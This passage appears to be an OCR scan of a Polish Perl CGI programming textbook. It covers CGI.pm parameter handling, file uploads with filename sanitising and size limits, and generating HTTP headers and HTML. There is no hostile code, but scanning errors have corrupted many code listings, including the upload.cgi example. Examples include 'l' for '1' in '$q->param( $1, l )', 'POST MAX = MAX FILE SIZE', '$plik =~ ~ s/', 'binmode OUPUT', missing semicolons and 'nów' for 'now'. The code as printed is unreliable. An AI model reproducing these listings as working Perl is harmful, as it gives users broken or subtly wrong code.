przycisku graficznego nazwa jako taka nie jest transmitowana. Przeglądarka Web rozdziela nazwę takiego przycisku na dwie osobne zmienne: nazwa.x oraz nazwa.y. Jeśli chcemy, aby program w sposób uniwersalny obsługiwał przyciski graficzne i zwykłe przyciski wysyłki, nazwy przycisków graficznych powinniśmy przekształcać na nazwy przycisków wysyłki. Dlatego w głównej części programu możemy zawrzeć kod rozpoznający kliknięty przycisk zlecania wysyłki, mimo że później zastąpimy go przyciskami graficznymi. Do tego celu możemy wykorzystać poniższy kod, który dla każdej zmiennej kończącej się znakami ,,.x" ustanawia parametr o nazwie takiej jak zmienna formularza, lecz z pominięciem towarzyszących jej współrzędnych: foreach ( $q->param ) { $q->param( $1, l ) if /(.*)\.x/; } Eksportowanie parametrów do przestrzeni nazw Problem przy pobieraniu wartości parametru za pomocą metody polega na tym, że umieszczenie wartości w łańcuchu wymaga więcej pracy. Aby wydrukować wartość wprowadzoną przez użytkownika, możemy użyć zmiennej pośredniej: my $user = $q->param( 'user' ); print "Witaj, $user!"; Inny sposób polega na użyciu dziwnej konstrukcji języka Perl, która wymusza obliczenie procedury w ramach bezimiennej listy (bez nadanej nazwy): print "Witaj, @{[ $q->param( 'user' ) ]}!"; Pierwsze rozwiązanie jest pracochłonne, drugie zaś jest trudno czytelne. Na szczęście jest lepszy sposób. Jeśli wiadomo, że w łańcuchu trzeba się będzie odwoływać do wielu wartości wyjściowych, wszystkie parametry można zaimportować do określonej przestrzeni nazw jako zmienne: $q->import_names( "Q" ); print "Witaj, $Q::user! "; W nowej przestrzeni nazw parametry z wartościami wielokrotnymi staną się tablicami, a wszelkie znaki w nazwie parametru inne niż litera lub cyfra staną się znakami podkreślenia. Podaje się przestrzeń nazw, przy czym nie może to być domyślna przestrzeń nazw, „main", ponieważ może to zagrozić bezpieczeństwu systemu. Ceną, jaką się płaci za tę wygodę, jest zwiększona zajętość pamięci, ponieważ Perl musi utworzyć alias każdego parametru. Pliki przysyłane do serwera i CGI.pm Wspomnieliśmy w poprzednim rozdziale, że możliwe jest utworzenie formularza o typie nośnika multipart/form-data, który pozwala użytkownikom na wysyłanie plików do serwera za pośrednictwem protokołu HTTP. Pominęliśmy wtedy omówienie obsługi danych wejściowych tego typu, ponieważ poprawna obsługa plików przychodzących bywa dość złożona. Na szczęście my nie musimy się zajmować jej opracowywaniem, gdyż, tak jak w wypadku innych danych pochodzących z formularzy, moduł CGI.pm oferuje bardzo prosty interfejs do obsługi takich plików.
Programowanie CGI w Perlu
49
Do nazwy przysłanego pliku można sięgnąć za pomocą metody param, tak jak w wypadku wartości jakiegokolwiek innego elementu formularza. Gdyby skrypt CGI odbierał dane wejściowe z następującego formularza HTML: <FORM ACTION="/cgi/upload.cgi" METHOD="POST" ENCTYPE=multipart/form-data"> <P>Proszę wybrać plik do wysłania: <INPUT TYPE="FILE" NAME="plik"> <INPUT TYPE="SUBMIT"> </FORM> wtedy nazwę przysłanego pliku moglibyśmy ustalić przez odwołanie się do nazwy elementu formularza typu FILE, którą tutaj jest „plik": my $plik = $q->param( "plik" ) ; Nazwa pliku otrzymana za pośrednictwem parametru jest taka sama, jak pliku wysyłanego z maszyny użytkownika. CGI.pm zapisze ten plik w systemie jako plik tymczasowy, przy czym nazwa takiego pliku będzie inna niż nazwa uzyskana z parametru. Jak do takiego pliku sięgnąć, zobaczymy już za chwilę. W zależności od platformy i przeglądarki nazwa podawana za pośrednictwem tego parametru ma różną postać. W niektórych systemach podawana jest sama nazwa przysłanego pliku; w innych otrzymuje się całą ścieżkę do pliku na maszynie użytkownika. Ponieważ separatory w ścieżce także są różne w różnych systemach, ustalenie nazwy pliku może być zadaniem trudnym. Poniższe polecenie powinno działać w systemach Windows, Macintosh oraz zgodnych z Uniksem: my( $plik ) = $q->param( "plik" ) =~ m| ( [^/ : \\] +) $ | ; Niektóre nazwy mogą jednak zostać skrócone, gdyż na przykład „raport 11/3/99" jest poprawną nazwą pliku w systemach Macintosh, a powyższa instrukcja w zmiennej $pl i k umieściłaby tylko „99". Inny sposób polega na tym, aby znakami podkreślenia zastąpić wszystkie znaki inne niż litery, cyfry, znaki podkreślenia, łączniki i kropki oraz nie dopuścić do tego, aby jakiekolwiek pliki zaczynały się od kropek lub łączników: my $plik = $q->param( "plik" ) $plik =~ ~ s/( [^\w.-] )/_/g; $plik =~ s/^[-.]+//; Problem polega tu na rym, że przeglądarki Netscape w systemie Windows jako nazwę pliku wysyłają pełną ścieżkę do pliku. Dlatego w zmiennej $p l i k może się znaleźć bardzo długa i niewygodna wartość w rodzaju „C___Windows_Ulubione_raport . doc". Moglibyśmy spróbować ustalić, jak się zachowują poszczególne systemy operacyjne i przeglądarki, rozpoznawać przeglądarki i systemy operacyjne użytkowników, a następnie odpowiednio analizować nazwy plików, lecz byłoby to rozwiązanie bardzo ułomne. Na pewno jakieś kombinacje zostałyby pominięte, stale by było konieczne uaktualnianie, a przecież jedną z największych zalet sieci Web jest jej mię-dzyplatformowość; zatem nie powinno się tworzyć rozwiązań, które nie są uniwersalne. Tak więc proste, narzucające się rozwiązanie nie ma w istocie natury programowej. Jeśli potrzebna jest nam znajomość nazwy przysyłanego pliku, wystarczy do formularza dodać pole tekstowe, które umożliwi użytkownikowi wpisanie nazwy wysyłanego przez niego pliku. Rozwiązanie to ma tę dodatkową zaletę, że użytkownik, jeśli zechce, może podać inną nazwę niż faktyczna. Kod takiego formularza HTML wygląda następująco: <FORM ACTION="/cgi/upload.cgi" METHOD="POST" ENCTYPE=multipart/form-data"> <P>Proszę wybrać plik do wysłania: <INPUT TYPE="FILE" NAME="plik"> <P>Proszę podać nazwę tego pliku: <INPUT TYPE="TEXT" NAME="nazwapliku"> </FORM> Można wtedy odczytać nazwę podaną w polu tekstowym, pamiętając o pozbyciu się wszelkich niepożądanych znaków: my $nazwapliku = $q->param( "nazwapliku" ) $nazwapliku =~ s/([^\w.-])/_/g; $nazwapliku =~ s/^[-.]+//; Skoro już wiemy, jak uzyskać nazwę przysłanego pliku, przyjrzyjmy się, jak dostać się do jego zawartości. Zostanie ona umieszczona w tymczasowym pliku utworzonym przez moduł CGI.pm. Uchwyt do niego można uzyskać przez przekazanie do metody upload nazwy pliku ustalonej na podstawie formularzowego elementu o typie FILE: my $plik = $q->param( "plik" ) my $fh = $q->upload( $plik ); Metodę upload wprowadzono do modułu CGI.pm w wersji 2.47. Wcześniej w celu odczytania pliku można było posługiwać się wartością zwracaną przez param (tu: w zmiennej $plik) jako uchwytem pliku (w kontekście łańcucha znakowego stanowi nazwę pliku). W istocie metoda nadal tak działa, lecz pojawiają się problemy, m.in. konflikty w trybie ścisłym (strict), więc obecnie zalecanym sposobem uzyskiwania uchwytu pliku jest użycie upload. Należy pamiętać, aby do upload przekazywać nazwę pliku zwróconą przez param, a nie jakąkolwiek inną nazwę (na przykład nazwę, którą poda użytkownik, lub nazwę, w której znaki niealfanumeryczne zastąpione zostały znakami podkreślenia). Należy zwrócić uwagę, że błędy transferu zdarzają się o wiele częściej w wypadku plików przysyłanych do serwera niż przy jakichkolwiek innych danych pochodzących z formularza. Gdy użytkownik w trakcie wysyłania pliku naciśnie w przeglądarce przycisk Stop, moduł CGI.pm otrzyma tylko fragment pliku. Ponieważ żądanie ma
Programowanie CGI w Perlu
50
format multipart/form-data, CGI.pm rozpozna, że transfer jest niekompletny. Fakt zaistnienia błędów takich jak ten można sprawdzić za pomocą metody cgi_error po utworzeniu obiektu CGI.pm. Metoda ta w razie wystąpienia błędu zwraca kod stanu HTTP oraz komunikat opisujący błąd, a jeśli błędu nie było, zwraca pusty łańcuch. Na przykład, jeśli Content-length żądania POST przekroczy war-tość$CGI: : POST_MAX, metoda cgi_error zwróci łańcuch „413 Request entity too large". Zgodnie z ogólną zasadą, przy odczytywaniu danych uzyskanych od użytkownika zawsze powinno się sprawdzać, czy nie wystąpił błąd. Dotyczy to zarówno plików przysyłanych do serwera, jak i innych żądań POST. Nie zaszkodzi też sprawdzić, czy nie wystąpił błąd w żądaniu GET. Przykład 5.2 zawiera kompletny kod, obejmujący sprawdzanie błędów, przeznaczony do odbioru plików wysyłanych do serwera z wcześniej tu przedstawionego formularza HTML. Przykład 5.2. upload.cgi #!/usr/bin/perl -wT use strict; use CGI; use Fcntl qw( :DEFAULT :flock ); use constant UPLOAD_DIR => "/usr/local/apache/data/uploads"; use constant BUFFER_SIZE => 16_384; # Rozmiar bufora use constant MAX_FILE_SIZE => 1_048_576; # Limit rozm. przysyłanego pliku do l MB use constant MAX_DIR_SIZE => 100 * 1_048_576; # Limit sumy rozm. przys. plików do 100 MB use constant MAX_OPEN_TRIES => 100; # Maks. liczba prób otwarcia $CGI::DISABLE_UPLOADS =0; $CGI::POST MAX = MAX FILE SIZE; my $q = new CGI; $q->cgi_error and error( $q, "Błąd podczas transferu pliku: " . $q->cgi_error ); my $plik = $q->param( "plik" ) || error( $q, "Nie odebrano pliku." ) ; my $nazwapliku = $q->param( "nazwapliku" ) || error ( $q, "Nie podano nazwy pliku." ); my $fh = $q->upload( $plik ); my $bufor = ""; if ( rozmiar_katalogu( UPLOAD_DIR ) + $ENV{CONTENT_LENGTH} > MAX_DIR_SIZE ) { error ( $q, "Katalog plików przysyłanych do serwera jest pełny." ); } # Dozwolone są litery, cyfry, kropki, znaki podkreślenia, łączniki # Wszystko inne przekształć na znaki podkreślenia $nazwapliku =~s/ [^\w. -] /_/g; if ( $nazwapliku =~ /^(\w [\w. -] *) / ) { $nazwapliku = $1; } else { error ( $q, "Niepoprawna nazwa pliku; musi się zaczynać literą lub cyfrą." ); } # Otwórz plik wynikowy, zapewniając mu niepowtarzalną nazwę until ( sysopen OUTPUT, UPLOAD_DIR . $nazwapliku, O_CREAT | O_EXCL ) { $nazwapliku =~ s/(\d*) (\.\w+)$/ ($1 l |0) + l . $2/e; $1 >= MAX_OPEN_TRIES and error ( $q, "Nie można zapisać pliku na serwerze." ); } # Poniższe wiersze są niezbędne w systemach nieuniksowych; nie mają znaczenia w Uniksie binmode $fh; binmode OUPUT; # Zapisz zawartość do pliku wynikowego while ( read( $fh, $bufor, BUFFER_SIZE ) ) { print OUTPUT $bufor; } close OUTPUT; sub rozmiar_katalogu { my $katalog = shift; my $rozmiar_katalogu = 0; # Zsumuj w pętli rozmiary wszystkich plików; nie wchodź do podkatalogów opendir KATALOG, $katalog or die "Nie można otworzyć katalogu $katalog: $!", while ( readdir KATALOG ) { $rozmiar_katalogu += -s "$katalog/$_"; } return $rozmiar_katalogu; } sub error { my( $q, $przyczyna ) = @_; print $q->header( "text/html" ), $q->start_html( "Błąd" ), $q->h1 ( "Błąd" ),
Programowanie CGI w Perlu
51
$q->p( "Wysyłka pliku do serwera nie została zrealizowana, ponieważ wystąpił błąd: " ) , $q->p( $q->($przyczyna ) ), $q->end_html; exit; } Zaczynamy od utworzenia kilku stałych, które posłużą do skonfigurowania skryptu. UPLOAD_DIR to ścieżka do katalogu, w którym przechowywane są pliki przysyłane do serwera. BUFFER_SIZE to wielkość danych wczytywanych jednorazowo do pamięci podczas transferu z pliku tymczasowego do pliku wynikowego. MAX_FILE_SIZE to maksymalny dozwolony przez nas rozmiar pliku; jest to ważny parametr, ponieważ nie chcemy dopuścić, aby użytkownicy przysyłali gigabajtowe pliki, zapełniając w ten sposób cały dysk serwera. MAX_DIR_SIZE to maksymalny rozmiar, do którego może się rozrosnąć katalog przysyłanych plików. To ograniczenie jest tak samo ważne jak poprzednie, ponieważ użytkownicy, przysyłając bardzo dużo małych plików, mogą zapełnić dysk tak samo łatwo, jak jednym dużym plikiem. MAX_OPEN_TRIES to maksymalna liczba prób wygenerowania unikatowej nazwy pliku oraz otwarcia danego pliku; za chwilę zobaczymy, dlaczego ten parametr jest niezbędny. Najpierw włączamy obsługę plików przysyłanych do serwera, następnie $CGI::POST_MAX ustawiamy na MAX_FILE_SIZE. Należy zauważyć, że $CGI::POST_MAX to rozmiar całej treści żądania, włącznie z danymi z innych pól formularza i naddatkiem wynikającym z kodowania multipart/form-data, a więc ta wartość jest w rzeczywistości nieco większa niż maksymalny dozwolony przez nas rozmiar pliku. W wypadku omawianego formularza różnica jest niewielka, lecz gdy pole pliku wysyłanego do serwera wstawimy do formularza z wieloma polami tekstowymi, wtedy to rozróżnienie nabiera znaczenia. Potem tworzymy obiekt CGI oraz sprawdzamy, czy wystąpiły błędy. Błędy, jak wcześniej zaznaczyliśmy, częściej towarzyszą plikom przysyłanym do serwera niż innym rodzajom danych z formularzy. Następnie odczytujemy faktyczną nazwę przysłanego pliku oraz nazwę pliku podaną przez użytkownika, zgłaszając błąd, jeśli brak którejkolwiek z nich. Warto zauważyć, że użytkownik może się zirytować, gdy komunikat mówiący o brakującej nazwie pliku otrzyma dopiero po wysłaniu przez modem bardzo dużego pliku. Zgłoszenie go w trakcie transferu jest niemożliwe. Jednak w ostatecznej aplikacji można zastosować rozwiązanie bardziej przyjazne dla użytkownika: tymczasowo zapisać plik, zwrócić się do użytkownika o podanie nazwy pliku, a następnie zmienić tymczasową nazwę pliku. Oczywiście trzeba wtedy okresowo kasować pliki tymczasowe, których nazwy nie zostaną podane. W zmiennej $fh zapisujemy uchwyt tymczasowego pliku zapisanego przez moduł CGI.pm. Sprawdzamy, czy katalog przeznaczony na przysyłane pliki jest pełny, a jeśli tak jest, zgłaszamy błąd. Również i ten komunikat może przyczynić się do powiększenia grona niepocieszonych użytkowników. W ostatecznej aplikacji powinno się dodać kod wysyłający powiadomienie do administratora, który mógłby zbadać, dlaczego katalog jest pełny, i rozwiązać problem (zob. rozdział 9, „Wysyłanie poczty elektronicznej"). Następnie znakiem podkreślenia zastępujemy wszelkie znaki w nazwie pliku podanej przez użytkownika, które mogą powodować problemy, oraz upewniamy się, że nazwa nie zaczyna się kropką ani łącznikiem. Dziwna konstrukcja, przypisująca wynik wyrażenia regularnego do zmiennej nazwy pliku, $nazwapliku, „odkaża" tę zmienną. W rozdziale 8, „Bezpieczeństwo", omówimy zagadnienie skażenia (ang. taint) oraz dlaczego jest ono tak istotne. Upewniamy się, że zmienna $nazwapliku nie jest pusta (co mogłoby się zdarzyć, gdyby nazwa składała się z samych kropek lub łączników), a jeśli jest, to sygnalizujemy błąd. W katalogu przysłanych plików próbujemy otworzyć plik o uzyskanej właśnie nazwie. Jeśli nam się nie uda, dodajemy cyfrę do zmiennej $nazwapliku i ponawiamy próbę. Wyrażenie regularne pozwala nam zachować rozszerzenie pliku bez zmian: jeśli już istnieje plik raport.txt, to następny przysłany plik o tej nazwie otrzyma nazwę raportl.txt, potem raport2.txt itd. Próby są powtarzane, aż do momentu, gdy przekroczona zostanie wartość MAX_OPEN_TRIES. Ustanowienie limitu dla pętli jest ważne, ponieważ powód, dla którego nie można zapisać pliku, może być inny niż istnienie pliku o danej nazwie. Nie chcemy tkwić w pętli w nieskończoność, gdy na przykład dysk jest pełny lub w systemie jest zbyt dużo otwartych plików. Również ten błąd powinien spowodować powiadomienie administratora o nieprawidłowościach. Ten skrypt został napisany tak, aby obsługiwał każdy typ pliku, nie wyłączając plików binarnych, zawierających na przykład grafikę lub zapis dźwiękowy. Kiedy Perl odwołuje się do uchwytu pliku w systemie nieuniksowym (ściślej: w systemach, w których koniec wiersza nie jest oznaczany znakiem \n), swoiste w danym systemie znaki końca wiersza (na przykład \r\nw Windows lub \r w MacOS) przekształca na wejściu na \n, a na wyjściu z powrotem na znaki występujące pierwotnie. Takie działanie sprawdza się w wypadku plików tekstowych, lecz może powodować uszkodzenia w plikach binarnych. Dlatego za pomocą funkcji binmode włączamy tryb binarny, aby wyłączyć wspomnianą konwersję. W systemach takich jak Unix, w których nie występuje przekształcanie znaków końca wiersza, wywołanie binmode nie ma żadnego znaczenia. Na koniec odczytujemy dane, posługując się uchwytem pliku tymczasowego, następnie zapisujemy plik wynikowy, po czym opuszczamy procedurę. Za pomocą funkcji read każdorazowo odczytujemy i zapisujemy porcję danych. Rozmiar tej porcji definiuje stała BUFFER_SIZE. Na wszelki wypadek przypominamy, że moduł CGI.pm usunie plik tymczasowy automatycznie, gdy tylko skrypt zakończy działanie (z technicznego punktu widzenia: gdy zmienna $q wyjdzie poza zakres widzialności). Istnieje też inny sposób na przeniesienie pliku do katalogu przysyłanych plików, uploads. Nazwę pliku tymczasowego zawierającego przysłany plik moglibyśmy odczytać za pomocą nieudokumentowanej metody modułu CGI.pm tmpFileName, a następnie przenieść plik za pomocą funkcji rename. Jednak posługiwanie się nieudoku-mentowanym kodem jest ryzykowne. Niebezpieczeństwo polega na ewentualnej niezgodności z
Programowanie CGI w Perlu
52
przyszłymi wersjami modułu CGI.pm. Dlatego w naszym przykładzie pozostajemy przy opublikowanych funkcjach API. Procedura rozmiar_katalogu oblicza rozmiar katalogu, sumując rozmiary poszczególnych plików. Procedura error drukuje komunikat informujący użytkownika, dlaczego transfer się nie powiódł. W ostatecznej aplikacji powinno się dostarczyć użytkownikowi łącza, dzięki którym będzie mógł uzyskać pomoc lub powiadomić o problemach.
Generowanie danych wyjściowych za pomocą CGI.pm Moduł CGI.pm oferuje bardzo eleganckie rozwiązanie, gdy chodzi o generowanie w Perlu zarówno nagłówków, jak i kodu HTML. Umożliwia osadzanie kodu HTML w kodzie skryptu, a przy tym jest dość naturalne, gdyż HTML przybiera postać kodu. Każdy element HTML można wygenerować za pomocą odpowiednich metod z modułu CGI.pm. Widzieliśmy już kilka przykładów, a oto następny: #!/usr/bin/perl -wT use strict; use CGI; my $q = new CGI; my $datownik = localtime; print $q->header( "text/html" ), $q->start_html( -title => "Czas", -bgcolor => "#ffffff" ), $q->h2( "Bieżący czas" ), $q->hr, $q->p( "Bieżący czas w tym systemie: ", $q->b( $datownik ) ), $q->end_html; Rezultat na wyjściu będzie następujący (dodane zostały wcięcia w celu zwiększenia czytelności): Content-type: text/html <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML//EN"> <HTML> <HEAD><TITLE>Czas</TITLE></HEAD> <BODY BGCOLOR="#ffffff"> <H2>Bieżący czas</H2> <HR> <P>Bieżący czas w tym systemie: <B>Mon May 29 16:48:14 2000</B></P> </BODY> </HTML> Jak widać, kod skryptu wygląda jak Perl, a znacznie mniej przypomina HTML. Jest także krótszy od odpowiedniego kodu HTML, ponieważ CGI.pm samoczynnie wstawia niektóre znaczniki. Inną zaletą jest to, że nie sposób przez zapomnienie pominąć znacznika zamykającego, ponieważ metody automatycznie generują znaczniki zamykające (z wyjątkiem tych, które ich nie wymagają, na przykład <HR>). Przyjrzymy się wszystkim tym metodom w bieżącym podrozdziale, zaczynając od pierwszej użytej wyżej metody, header. Tworzenie nagłówków HTTP za pomocą CGI.pm CGI.pm ma dwie metody zwracające nagłówki HTTP: header i redirect. Odpowiadają one dwóm sposobom zwracania danych ze skryptów CGI: można zwrócić dokument lub skierować do innego dokumentu (czyli przekierować). Typ nośnika Metoda header obsługuje kilka nagłówków HTTP. Jeśli przekażemy do niej jeden argument, zwróci nagłówek Content-type z podaną wartością. Jeśli w ogóle nie podamy typu nośnika, domyślnie zostanie użyty „text/html". Chociaż CGI.pm bardzo się przydaje przy generowaniu HTML-a, możemy oczywiście, korzystając z niego, drukować treści dowolnego typu. Wystarczy metodą header określić odpowiedni typ nośnika, a następnie wydrukować treść w formacie tekstowym, XML, Adobe PDF itd.: print $q->header( "text/plain" ); print "To jest zwyczajny, nieciekawy tekst.\n"; Aby wprowadzić inne nagłówki, trzeba przekazać pary nazwa-wartość osobno dla każdego nagłówka. Do wskazania typu nośnika służy argument - type (zob. poniższy przykład - „Stan"). Stan Posługując się argumentem -status, można określić stan inny niż „200 OK": print $q->header( -type => "text/html", -status => "404 Not Found" ); Buforowanie Przeglądarki nie zawsze są w stanie stwierdzić, czy treść jest dynamicznie generowana przez CGI, czy też pochodzi ze źródła statycznego, i mogą próbować zbuforo-wać dane pochodzące ze skryptu. Buforowanie można na życzenie wyłączać lub włączać, posługując się argumentem -expires. Wraz z tym argumentem można podać pełną etykietę czasową albo czas względny. Czas względny określa się przez podanie znaku plus lub minus (odpowiednio: w przód lub wstecz), liczby całkowitej oraz jednoliterowego skrótu na oznaczenie sekund, minut, godzin, dni, miesięcy lub roku (każdy z tych skrótów pisany jest małą literą z wyjątkiem miesiąca, który oznaczany jest wielką literą M). Można też użyć słowa kluczowego „nów", aby wskazać, że ważność dokumentu upływa natychmiast. Ten sam efekt ma podanie wartości ujemnej. Poniższy zapis informuje przeglądarkę, że dokument zachowa ważność przez najbliższe 30 minut: print $q->header( -type => "text/html", -expires => "+30m" );
Programowanie CGI w Perlu
53
Określanie alternatywnego miejsca docelowego Przy korzystaniu z ramek lub kilku okien jednocześnie przydać się mogą łączr., które umieszczone w jednym dokumencie pozwolą uaktualniać treść innego dokumentu. Poprzez użycie argumentu - target z nazwą innego dokumentu (który byłby określony przez znacznik <FRAMESET> lub w JavaScripcie) sprawimy, że kliknięcie łącza w tym dokumencie powinno spowodować wczytanie nowego zasobu do innej ramki (lub okna): print $q->header( -type => "text/html", -target => "main_frame" ); Ten argument odnosi się wyłącznie do dokumentów HTML. Przekierowanie Jeśli trzeba skierować przeglądarkę do innego URL-a, to zamiast drukować nagłówek HTTP Locatwn, można użyć metody redirect: print $q->redirect( "http://localhost/sonda/dzieki.html" ); Chociaż termin „przekierowanie" odnosi się do czynności, metoda ta nie wykonuje przekierowania; zwraca jedynie odpowiedni nagłówek. Nie należy więc zapominać, że rezultat działania metody należy wydrukować! Pozostałe nagłówki Jeśli trzeba wygenerować inne nagłówki HTTP, można po prostu parę nazwa-war-tość przekazać do metody header, która zwróci nagłówek w odpowiednim formacie. Znaki podkreślenia automatycznie przekształcane są w łączniki. Dlatego w wyniku instrukcji: print $q->header( -content_encoding => "gzip" ); powstanie następujący nagłówek: Content-encoding: gzip Rozpoczynanie i kończenie dokumentów Przyjrzyjmy się teraz metodom służącym do generowania HTML-a, zaczynając od tych, którymi rozpoczyna się i kończy dokumenty. start_html Metoda startjitml zwraca DTD (definicję typu dokumentu) HTML, znacznik <HTML>, sekcję <HEAD>, obejmującą <TITLE>, oraz znacznik <BODY>. W poprzednim przykładzie startjitml generuje następujący HTMLowy zapis: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML//EN"> <HTML><HEAD><TITLE>CZAS</TITLE> </HEAD><BODY BGCOLOR="#ffffff"> Oto opisy najczęściej stosowanych argumentów metody start_html: •Użycie argumentu -base z wartością „prawda" informuje moduł CGI.pm, że w nagłówku dokumentu ma umieścić znacznik <BASE HREF="url">, zawierający URL danego skryptu. •Z argumentem -meta podaje się referencję do tablicy asocjacyjnej zawierającej nazwę i treść metaznaczników umieszczanych w nagłówku dokumentu. •Za pomocą argumentu -script można do nagłówka dokumentu dodać kod JavaScript. Można podać łańcuch tekstowy zawierający kod JavaScript albo referencję do tablicy asocjacyjnej zawierającej któryś z kluczy language, - src oraz -code. W ten sposób możliwe jest określenie atrybutów języka i źródła również w znaczniku <SCRIPT>. CGI.pm automatycznie obejmuje kod znacznikami komentarza, aby ukryć go przed przeglądarkami, które nie obsługują JavaScriptu. •Posługując się argumentem -noscript można podać HTML, który powinna wyświetlić przeglądarka nie obsługująca JavaScriptu. Odpowiedni kod HTML wstawiany jest do nagłówka dokumentu. •Argument -style umożliwia zdefiniowanie arkusza stylów dokumentu. Tak jak w wypadku argumentu script można podać łańcuch albo referencję do tablicy asocjacyjnej. Kluczami argumentu -style są -code oraz src. Wartość klucza -code wstawiana jest do dokumentu jako informacja o arkuszu stylu. Wartość - s r c określa URL pliku .css. CGI.pm automatycznie obejmuje kod znacznikami komentarza, aby ukryć arkusze stylów przed przeglądarkami, które ich nie obsługują. •Argument -title określa tytuł dokumentu HTML. •Za pomocą argumentu -xbase można określić dowolny URL, który zostanie umieszczony w znaczniku <BASE HREF="url">. Pod tym względem różni się od argumentu -base, który także powoduje wygenerowanie tego znacznika, lecz wstawia do niego URL bieżącego skryptu. Wszystkie inne argumenty, na przykład -bgcolor, przekazywane są jako atrybuty znacznika <BODY>. end_html Metoda endjiiml zwraca znaczniki </BODY> oraz </HTML>. Standardowe elementy HTML Elementy HTML można generować za pomocą metod, których nazwy są nazwami odpowiednich elementów, zapisanymi małymi literami, z następującymi wyjątkami: Accept, Delete, Link, Param, Select, Sub oraz Tr. Pierwsze litery nazw tych metod są wielkie, aby zapobiec konfliktom z wbudowanymi funkcjami języka Perl i innymi metodami modułu CGI.pm. Do podstawowych znaczników HTML stosują się następujące reguły: • W CGI.pm uwzględniono, że niektórym elementom, na przykład <HR> i <BR>, nie towarzyszą znaczniki zamykające. Odpowiadające im metody nie mają argumentów i zwracają pojedynczy znacznik, przykładowo: print $q->hr;
Programowanie CGI w Perlu
54
A oto rezultat powyższego zapisu: <HR> • Jeśli podamy jeden argument, to powstaną znaczniki otwierający i zamykający, obejmujące tekst argumentu. Litery takich znaczników zamieniane są na wielkie: print $q->p ( "To jest akapit." ); W rezultacie uzyskamy tekst: <P>To jest akapit.</P> • Jeśli podamy kilka argumentów, to zostaną ze sobą połączone w ramach jednej pary znaczników, otwierającego i kończącego: print $q->p( "Nazwa serwera:", $q->server_name ); W rezultacie uzyskamy tekst: <P>Nazwa serwera: localhost</P> W ten sposób łatwo jest zagnieżdżać elementy: print $q->p( "Nazwa serwera:", $q->em( $q->server_name ) ); W rezultacie powyższego uzyskamy tekst: <P>Nazwa serwera: <EM>localhost</EM></P> Zauważ, że między poszczególne elementy automatycznie jest wstawiana spacja. W powyższych przykładach pojawiła się po dwukropku. Aby wydrukować listę kilku pozycji bez dzielących spacji, zmiennej reprezentującej separator listy w Perlu, $", musimy przypisać pusty łańcuch: { local $" = ""; print $q->( "Serwer=", $q->server_name ); } W rezultacie uzyskamy tekst: <P>Serwer=Apache/1.3.9</P> Zauważ, że przy każdej modyfikacji zmiennych globalnych, takich jak $ ", należy ograniczać ich zasięg do lokalnego, czyli zlokalizować, umieszczając je w bloku i wywołując funkcję Perla local. •Jeśli pierwszym argumentem jest referencja do tablicy asocjacyjnej, to elementy tej tablicy interpretowane są jako atrybuty elementu HTML: print $q->a( { -href => "/downloads" }, "Obszar plików do pobrania" ); W rezultacie uzyskamy tekst: <A HREF="/downloads">Obszar plików do pobrania</A> Można podać dowolną liczbę atrybutów. Łącznik (-) na początku nazwy atrybutu nie jest konieczny, lecz stosowanie go jest przyjętą konwencją. Niektóre atrybuty nie przyjmują argumentów i pojawiają się jako samodzielny wyraz. W takich wypadkach jako wartość atrybutu należy przekazać undef. Przed ukazaniem się wersji 2.41 modułu CGI.pm wystarczyło przekazanie pustego łańcucha, lecz zmieniono to, aby można było jawnie zażądać przypisania atrybutowi pustego łańcucha (np. <IMG HREF="odstep.gif" ALT="">). •Jeśli jako argument podamy referencję do zwykłej tablicy, znacznik zostanie przydzielony każdemu elementowi tablicy: print $q->ol( $q->li( ["Jeden", "Dwa", "Trzy" ] ) ); Odpowiada temu następujący zapis: <OL> <LI>Jeden</LI> <LI>Dwa</LI> <LI>Trzy</LI> </OL> Działanie się nie zmienia, gdy pierwszym argumentem jest referencja do argumentów w tablicy asocjacyjnej. Oto zapis tworzący tabelę: print $q->table( { -border => 1, -width => "100%'' }, $q->Tr( [ $q->th( { -bgcolor => "#cccccc" }, { "Imię", "Wiek" } ), $q->td( ["Marysia", 29 ] ) , $q->td( [ "Wiluś", 27 ] ), $q->td( [ "Zuzia", 26 ] ) ]) ); Odpowiada temu następujący zapis: <TABLE BORDER="1" WIDTH="100%"> <TR><TH BGCOLOR="#cccccc">Imię</TH><TH BGCOLOR="#cccccc">Wiek</TH> </TR> <TR><TD>Marysia</TD><TD>29</TD> </TR> <TR><TD>WiluŚ</TD><TD>27</TD> </TR> <TR><TD>Zuzia</TD><TD>26</TD> </TR> </TABLE>
Programowanie CGI w Perlu
55
• Oprócz wspomnianych wcześniej spacji, które w HTML-u wstawiane są między poszczególne elementy generowane na podstawie tablicy Perla, moduł CGI.pm nie wstawia już żadnych innych białych znaków (m.in. tabulacji). Nie tworzy więc wcięć ani nie wstawia znaków nowego wiersza. Chociaż taki kod jest mniej czytelny, wynik jest objętościowo mniejszy, a więc przeglądarka szybciej go pobiera. Jeśli zależy nam na generowaniu schludnie sformatowanego kodu HTML, możemy użyć modułu CGI::Pretty, rozprowadzanego z CGI.pm. Oprócz tego, że zapewnia wszystkie możliwości modułu CGI.pm (ponieważ jest to moduł obiektowy, będący rozszerzeniem CGI.pm), do tworzonego HTML-a wprowadza estetyczne wcięcia. Elementy formularza Składnia przy generowaniu elementów formularza różni się od tej dla pozostałych elementów. W metodach tych podaje się tylko pary nazwa-wartość, odpowiadające określonym atrybutom (zob. tabela 5.2). Tabela 5.2. Metody modułu CGI.pm i zmienne środowiska CGI Metoda modułu CGI.pm Znacznik HTML start_form <FORM> end_form </FORM> textfield <INPUT TYPE="TEXT"> password_field <INPUT TYPE="PASSWORD"> filefield <INPUT TYPE="FILE"> button <INPUT TYPE="BUTTON"> submit <INPUT TYPE="SUBMIT"> reset <INPUT TYPE="RESET"> checkbox, checkbox_group <INPUT TYPE="CHECKBOX"> radio_group <INPUT TYPE="RADIO"> popup_menu <SELECTSIZE="1"> scrolling_list <SELECT SIZE="n">, gdzie n > l testarea <TEXTAREA> hidden <INPUT TYPE="HIDDEN"> Metody start_form oraz end_form generują znaczniki otwierający i zamykający formularz. Argumenty start_form odpowiadają poszczególnym atrybutom: print $q->start_form( method => "get", action => "/cgi/skrypt.cgi" ); Należy zauważyć, że moduł CGI.pm, inaczej niż w wypadku typowych znaczników formularza, metodę żądania domyślnie ustawia na POST, a nie GET (odwrotnie niż to jest przyjęte w formularzach HTML). Aby umożliwić wysyłanie plików do serwera, powinniśmy zamiast start_form użyć metody start_multipart_form, która ustawia enctype na „multipart/form-data". Wszystkie pozostałe metody służą do 